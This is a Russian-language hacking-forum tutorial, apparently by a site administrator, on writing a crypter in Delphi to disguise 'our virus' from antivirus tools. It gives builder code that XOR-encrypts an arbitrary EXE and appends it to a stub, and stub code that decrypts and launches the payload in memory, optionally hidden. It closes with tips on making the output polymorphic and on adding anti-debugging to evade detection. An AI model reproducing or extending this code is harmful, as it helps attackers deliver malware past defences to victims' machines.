Делаем криптор

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

AnGel

Администратор
Команда форума

AnGel

Администратор
Команда форума
27 Авг 2015
3,411
2,025
Привет, я вот-что подумал вечная делема, что победит лень или нездоровый интерес к чему-либо, в данном случае победил интерес, но речь сейчас не об этом !

Давно я хотел стырить у кого-нить код написать свой криптор, да и не просто криптор, а полиморфный и т.д. !

Но проблема в том, что мануалов с гулькин нос, в рунете практически нет, либо это голый код, прикалывают манулалы «Школоты», весь мануал это скопировать/вставить готовый код на каком-либо бейсике, при чём не разбираясь не в коде, не в сути и они считают что делают крутой криптор, гы-гы…

В общем-то, скажу я что написать простенький криптор не чуть не сложнее написания того-же Джойнера, читайте мою статью про Джойнер !

Что-то я отвлёкся, теперь по сути, долго я читал всякие мануалы, в основном в буржонете, что кстати не красит обилие наших хак. ресурсов, но и там никак понять немог нахуя как-же крутые Испанцы делают даже простенькие крипторы ?

Поняв что от статей толку мало для меня я начал анализировать исходники, благо умею и даже люблю читать иногда чужой код, если он более-менее нормально написан…:)

К сожалению (А может и к счастью) большинство крипторов пишут на бейсике, бейсик не знаю, далее идёт MicrosoftVisualC++, си мне ближе, но саму среду не знаю…

Остаётся что у нас, ассемблер – рано пока для меня, в этоге остаётся си билдер и делфи, на си билдере что-то исходников не нашёл, зато был у меня исходник протектора, да-да именно протектора, даже не криптора, причём этот протектор я нашёл на одном Испанском хак. сайте, давно хотел поковырять этот исходник, а сейчас как-раз предоставился такой шанс !

Что в этоге получил я, благодаря этому исходнику, мне получилось написать криптор на Делфи, не скажу что что-то супер получилось, но по крайне-мере теперь понятна суть и принцип…

В общем рискну написать мануал как-же создать свой криптор с нуля, пусть и на делфи, хотя думаю это ничуть не хуже тех-же бейсиков например !

В данном мануале как обычно ничего мега-сложного не будет, будет немного простого кода с комментариями и рассуждения как дальше жить, других-же качеств моих тем, надеюсь никто и не заметит !

Итак для начала поймём, что-же будет делать наш криптор:

1)Криптовать любой EXE-файл;
2)Не использовать доп. софт;
3)Запуск в памяти.
4)Криптор будет отчасти полиморфный, т.е. если закриптовать один и тот-же вирус, это будут разные файлы, почему-же отчастичитайте статью, потом объясню !

Как и в статье про Джойнер (кто читал) у нас будет две программы (Проекта):
1)Конструктор(Bulder) – Будет криптовать наш вирус, запихивать его в конец стаба,в общем-то и вся задача конструктора, имеет кстати ну просто изяшный интерфейс, я уже подал заявку на патент !
f30499c22a905f06742920cca259edf4.png

2)Стаб(Stub) – Это наши «Мозги», он расшифровывает вирус и запускает его в памяти, заметьте я не буду использовать в этой статье приёмы антиотладки, антиэмуляции и т.д., потому-что просто пока сам до этого не дошёл это во первых, а во вторых нам нужно уловить суть и написать совсем простецкий криптор.

1)Итак начнём с простого, с конструктора, как-обычно создаём проект делфи…

Начинаем кодить, также я расскажу суть, что должен делать конструктор и как реализовать…
Всё ну ОЧЕНЬ просто, конструктор записывает в конец нашего стаба зашифрованный вирус, теперь как реализовать ?

Реализовать ещё проще, помните наш Джойнер (Моя статья про Джойнер) ?
Если-да, то забудьте про него, там я так коряво всё реализовал, что даже стыдно стало, но да-ладно…
Читайте новый способ, реализации:

1)Считываем все данные из стаба в строку (Переменная типа String);
2)Шифруем эти данные (В данном случае XOR);
3)Далее заводим специальную стринговскую переменную, я завёл константу (Const
Del = 'Pizda';
), что будет делать наша «Пизда», всё очень просто разделять нужные нам данные, сейчас поясню, в этоге мы получим такую строку данных:

FailCrypt=Stub + Del + Key + Del + CryptVirus;

-Где:
FailCrypt – Это сигнатура (String), которую мы запишем на диск, т.е. это и есть выходной файл !
Stub – Наш стаб, это и есть загрузчик, который будет расшифровывать и запускать наш вирус;
Del – Наша «Пизда» которая разделит, т.е. даст понять нам, что следующий элемент в данном случае ключ для расшифровки;

Далее идёт ключ для расшифровки , потом разделитель и уже наш зашифрованный вирус !

Я не знаю понятно-нет ?

Но в стабе я покажу как разделять эти данные, тогда уже точно должно-быть понятно для чего-же придумали «Пизду» гы-гы-гы !

Итак немного прокомментирую код, но не весь, как обычно более подробно можете глянуть во вложении…

Начну с основной программы:
Кнопка «СТАРТ»:
[SRC]
procedure TForm1.Button2Click(Sender: TObject);
var
Stub: string;
FileNameVirus: string; //Наш закриптованный вирус !!!!!!!!!!!!
Key: string;
CryptFile: string;
Const
Del = 'Pizda'; //Это для разделения стаба, ключа и зашифрованного файла в данных
begin
Stub:= extractfilepath(paramstr(0)) + '\stub.exe'; //Открываем наш стаб
if not fileexists(stub) then exit; //Если не хуя не открылось то выходим...
Stub:= mfiletostr(stub); //Считываем наш стаб
Key:= 'Fucking'; // Это наш ключ, гы-гы ! ;)
FileNameVirus:= edit1.Text; //Получаем путь до вируса, которого нужно криптонуть
if not fileexists(FileNameVirus) then exit; //Если нет пути, то выходим
FileNameVirus:= mfiletostr(FileNameVirus);//Считываем данные из файла вируса, для того-чтобы криптонуть
FileNameVirus:= xorizo(FileNameVirus, Key); //Криптуем эти данные с ключом Key
CryptFile:= Stub + Del + Key + Del + FileNameVirus; //Получаем Стаб + криптованный мусор
if savedialog1.Execute then
begin
mwritefilefromstr(CryptFile, savedialog1.FileName + '.exe'); //Здесь записываем это всё на диск, т.е. получаем в результате криптованный файл
showmessage('Закриптовалось !!!');
end else
begin
showmessage('Что-то эа херь не сработала !');
end;
end;
В основной программе я использовал самописные вспомогательные процедуры:
[/SRC]


1) Процедура считывает наш файл, получает FileName – это путь до файла, возвращает строку данных из файла:
[SRC]
Function mFileToStr(FileName: string): string;
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lopen(PChar(FileName), OF_READ); //Открываем файл на чтение
uBytes:= GetFileSize(sFile, nil); //Получаем его размер
SetLength(Result, uBytes); // Устанавливаем размер равный нашему файлу (Result).
_lread(sfile, @reSult[1], uBytes); // Считываем данные из файла в result
_lclose(sFile);
end;
[/SRC]


2) Процедура записывает в наш файл данные, данные которые нужно записать будут в строке в формате String:
[SRC]
Procedure mWriteFileFromStr(data, FileName: string);
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lcreat(PChar(FileName), 0); //Открываем файл
uBytes:= Length(data); //Получаем длинну наших данных
_lwrite(sFile, Data[1], uBytes); //Записываем данные в файл
_lclose(sFile);
end;
[/SRC]


3)Процедура шифрования Xor:
[SRC]
Function XORizo(Text, Pass: string): string;
var
i, p: integer;
Res: string;
begin
p:= 1;
for i:= 1 to Length(Text) do
begin
Res:= Res + Chr((Ord(Text) xor Length(Text)) XOR (Ord(Pass[p]) xor Length(Pass)));
inc(p);
if p > Length(Pass) then p:= 1;
end;
SetLength(Result, Length(Res));
Result:= Res;
end;
[/SRC]
2)Ну вот и добрались до стаба:

Создаём новый проект, выкидываем форму и прочее лабуду, т.к. чем меньше будет размер нашего стаба, тем лучше…

Разберёмся что делает стаб:
1)Считывает сам себя и получает данные в строке String:

[SRC]FailCrypt=Stub + Del + Key + Del + CryptVirus; [/SRC]

-Где:

Stub-Код нашего загрузчика;
Del – наш разделитель, вспомнили «Пизду» !
Key – ключ для шифрования;
CryptVirus – Наш закриптованный вирус.

Этот способ кстати позволяет избежать статического задания размера стаба, вспомните опять-же мою статью про Джойнер !

2)Далее нам нужно расшифровать в память наш вирус CryptVirus, с ключом Key
3)Запуск в памяти, а вот тут-то самый смак, взял я специальную процедурку из исходника протектора

Процедурка большая, если интересно глянете исходник, думаю смысла нет его конкретно здесь анализировать, скажу-лишь как её юзать и поехали:

Всё просто:
[SRC]memoryexecute(@FileCrypt[1], '', true);[/SRC]
ГДЕ:


@FileCrypt[1] – Указатель на строку данных нашего вируса;
‘’ – параметры запуска, я оставил пустые кавычки;
True – Обычный запуск, если будет FALSE– то будет скрытый запуск…

Можете поэксперементировать с этой процедуркой !
Теперь перейдём к коду нашего стаба:

1)Основная программа:
[SRC]
//***Основная программа*********************************************************
var
StubData: string;//Данные из стаба
FileCrypt: string; //Наш закриптованный вирус
Key: string; //Ключ для расшифровки XOR
TodoArray: TSArray;//Наш массив данных, который мы должны получить (Stub+Key+FileCrypt)
const
Delimitador: widestring = 'Pizda'; //Наш разделитель !
begin
StubData:= mfiletostr(paramstr(0)); //Открываем сами себя и считываем данные в StubData, т.е. получаем строку из данных
TodoArray:= splitmetal(StubData, Delimitador); // Удаляем из этих данных разделитель Delimitador, что-бы получить читаемый массив и обращаться по эллементам !
Key:= TodoArray[1]; // В массиве: stub = 0-й эллемент; key = 1-ый эллемент; FileCrypt = 2-ый эллемент
FileCrypt:= TodoArray[2]; //Это мы получили строку данных нашего закриптованного вируса, нужно его рсшифровать с ключом Key
FileCrypt:= xorizo(FileCrypt, key);//Расшифровываем
memoryexecute(@FileCrypt[1], '', true); //А вот эта функция запускает наш вирус из памяти ! ;)
end.
//******************************************************************************
[/SRC]


Немного правда ?
Я постарался сократить !
Я использовал самописные процедуры, про все я уже сказал в статье, остановлюсь лишь на одной:
Пришло время рассказать ещё раз про «Пизду», как-же разделить из кучи инфы нужные нам элементы ?
И опять-таки ничего сложного в этой задаче нет, вот процедурка:
В этой функции удаляем Delimitador, т.е. разделитель, что-бы получить читаемый массив и обращаться по эллементам (На выходе получим такой массив) !


[SRC]
function SplitMetal(Texto, Delimitador: string): TSarray;
var
o: integer;
PosDel: integer;
Aux: string;
begin
o := 0;
Aux := Texto;
setlength(Result, length(Aux));
repeat
PosDel := Pos(Delimitador, Aux) - 1;
if PosDel = -1 then
begin
Result[o] := Aux;
break;
end;
Result[o] := copy(Aux, 1, PosDel);
delete(Aux, 1, PosDel + length(Delimitador));
inc(o);
until Aux = '';
end;
[/SRC]


ГДЕ: Texto – Это прочитанные данные;
Delimitador – Это наша «Пизда»

Функция разделяет по строке Delimitador наши данные по элементам, потом мы можем спокойно обращаться к ним !
В этоге получим такой массив строк:
FailCrypt=Stub+Key+VirusCrypt
А потом можем обращаться к данным так:

FailCrypt[0]-Это наш стаб;
FailCrypt[1] – Это наш ключ для расшифровки;
FailCrypt[2] – Это наш закриптованный вирус;

Вроде всё, устал писать статью, надеюсь она поможет кому, будут вопросы задавайте с радостью отвечу !
Все исходники во вложении, пароль:111 !
И ещё про полиморфизм и детект:


Что-бы сделать криптор полиморфным можно как вариант, каждый раз задавать разный ключ для шифровки Key, у меня задаётся статически в исходниках, реализация этого функционала ложится на вас в билдере, гы-гы !

Теперь про детект, давайте подумаем какие средства антиотладки и антиэмуляции можно сюда внедрить что-бы вирус не палился при запуске…

Сейчас здесь ничего не реализовано в этом плане, поэтому рискну предположить, что будет детектить эвристика и спалится при запуске в памяти !


Скачать можно из вложения.
Пароль:
 

Вложения

  • Лайк
Reactions: dhusss

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя